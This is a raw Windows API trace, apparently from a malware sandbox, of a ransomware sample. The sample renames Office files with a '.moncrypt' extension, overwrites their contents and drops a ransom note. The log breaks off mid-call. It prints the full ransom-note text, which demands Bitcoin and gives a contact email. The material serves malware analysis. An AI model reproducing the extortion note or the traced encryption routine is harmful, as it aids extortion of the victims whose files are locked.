[0047.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0047.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.336] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.336] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.336] GlobalUnlock (hMem=0x44000c) returned 0 [0047.336] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.336] GlobalLock (hMem=0x440004) returned 0x554190 [0047.336] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.336] GlobalUnlock (hMem=0x44000c) returned 0 [0047.336] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.336] GlobalUnlock (hMem=0x440004) returned 0 [0047.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.336] GlobalLock (hMem=0x440004) returned 0x552180 [0047.336] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.336] GlobalUnlock (hMem=0x440004) returned 0 [0047.336] GlobalLock (hMem=0x440004) returned 0x552180 [0047.336] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.337] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.337] GlobalUnlock (hMem=0x440004) returned 0 [0047.337] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.337] GlobalUnlock (hMem=0x44000c) returned 0 [0047.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.337] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.337] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.337] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.337] GlobalUnlock (hMem=0x44000c) returned 0 [0047.337] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.337] GlobalLock (hMem=0x440004) returned 0x554190 [0047.337] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.337] GlobalUnlock (hMem=0x44000c) returned 0 [0047.337] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.337] GlobalUnlock (hMem=0x440004) returned 0 [0047.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.337] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.337] GlobalLock (hMem=0x440004) returned 0x552180 [0047.337] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.337] GlobalUnlock (hMem=0x440004) returned 0 [0047.337] GlobalLock (hMem=0x440004) returned 0x552180 [0047.337] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.337] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.337] GlobalUnlock (hMem=0x440004) returned 0 [0047.337] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.337] GlobalUnlock (hMem=0x44000c) returned 0 [0047.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.338] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.338] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.338] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.338] GlobalUnlock (hMem=0x44000c) returned 0 [0047.338] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.338] GlobalLock (hMem=0x440004) returned 0x554190 [0047.338] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.338] GlobalUnlock (hMem=0x44000c) returned 0 [0047.338] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.338] GlobalUnlock (hMem=0x440004) returned 0 [0047.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.338] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.338] GlobalLock (hMem=0x440004) returned 0x552180 [0047.338] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.338] GlobalUnlock (hMem=0x440004) returned 0 [0047.338] GlobalLock (hMem=0x440004) returned 0x552180 [0047.338] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.338] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.338] GlobalUnlock (hMem=0x440004) returned 0 [0047.338] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.338] GlobalUnlock (hMem=0x44000c) returned 0 [0047.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.338] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.338] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.338] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.339] GlobalUnlock (hMem=0x44000c) returned 0 [0047.339] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.339] GlobalLock (hMem=0x440004) returned 0x554190 [0047.339] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.339] GlobalUnlock (hMem=0x44000c) returned 0 [0047.339] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.339] GlobalUnlock (hMem=0x440004) returned 0 [0047.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.340] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0047.340] CloseHandle (hObject=0x18c) returned 1 [0047.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\я")) returned 1 [0047.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 0x54e240 [0047.341] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0047.342] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0047.342] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", dwFileAttributes=0x20) returned 1 [0047.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0047.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.moncrypt")) returned 1 [0047.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.343] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.343] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xd980 [0047.343] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.343] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0047.351] GlobalLock (hMem=0x440004) returned 0x552180 [0047.351] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.352] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.352] GlobalUnlock (hMem=0x44000c) returned 0 [0047.352] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0047.352] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.352] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.352] GlobalUnlock (hMem=0x44000c) returned 0 [0047.352] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0047.352] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.352] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.352] GlobalUnlock (hMem=0x440004) returned 0 [0047.352] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.352] GlobalUnlock (hMem=0x44000c) returned 0 [0047.353] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.353] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.353] GlobalUnlock (hMem=0x44000c) returned 0 [0047.353] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0047.353] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.353] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.353] GlobalUnlock (hMem=0x44000c) returned 0 [0047.353] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0047.353] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0047.353] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0047.353] SetFilePointer (in: hFile=0x18c, lDistanceToMove=55680, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xd980 [0047.353] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0047.353] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0047.353] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.364] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0047.365] CloseHandle (hObject=0x18c) returned 1 [0047.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.366] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0047.366] CloseHandle (hObject=0x18c) returned 1 [0047.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.moncrypt", dwFileAttributes=0x20) returned 1 [0047.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.367] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.367] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.367] GlobalUnlock (hMem=0x44000c) returned 0 [0047.367] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.367] GlobalLock (hMem=0x440004) returned 0x554190 [0047.367] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.367] GlobalUnlock (hMem=0x44000c) returned 0 [0047.367] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.367] GlobalUnlock (hMem=0x440004) returned 0 [0047.367] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x554190, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69478, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5561a0, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.367] GetLastError () returned 0x2 [0047.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.368] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0047.369] CloseHandle (hObject=0x18c) returned 1 [0047.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0047.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.369] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.369] GlobalLock (hMem=0x440004) returned 0x552180 [0047.369] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.369] GlobalUnlock (hMem=0x440004) returned 0 [0047.369] GlobalLock (hMem=0x440004) returned 0x552180 [0047.369] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.369] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.369] GlobalUnlock (hMem=0x440004) returned 0 [0047.370] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.370] GlobalUnlock (hMem=0x44000c) returned 0 [0047.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.370] CharLowerBuffW (in: lpsz="MSOINTL.REST.IDX_DLL", cchLength=0x14 | out: lpsz="msointl.rest.idx_dll") returned 0x14 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, 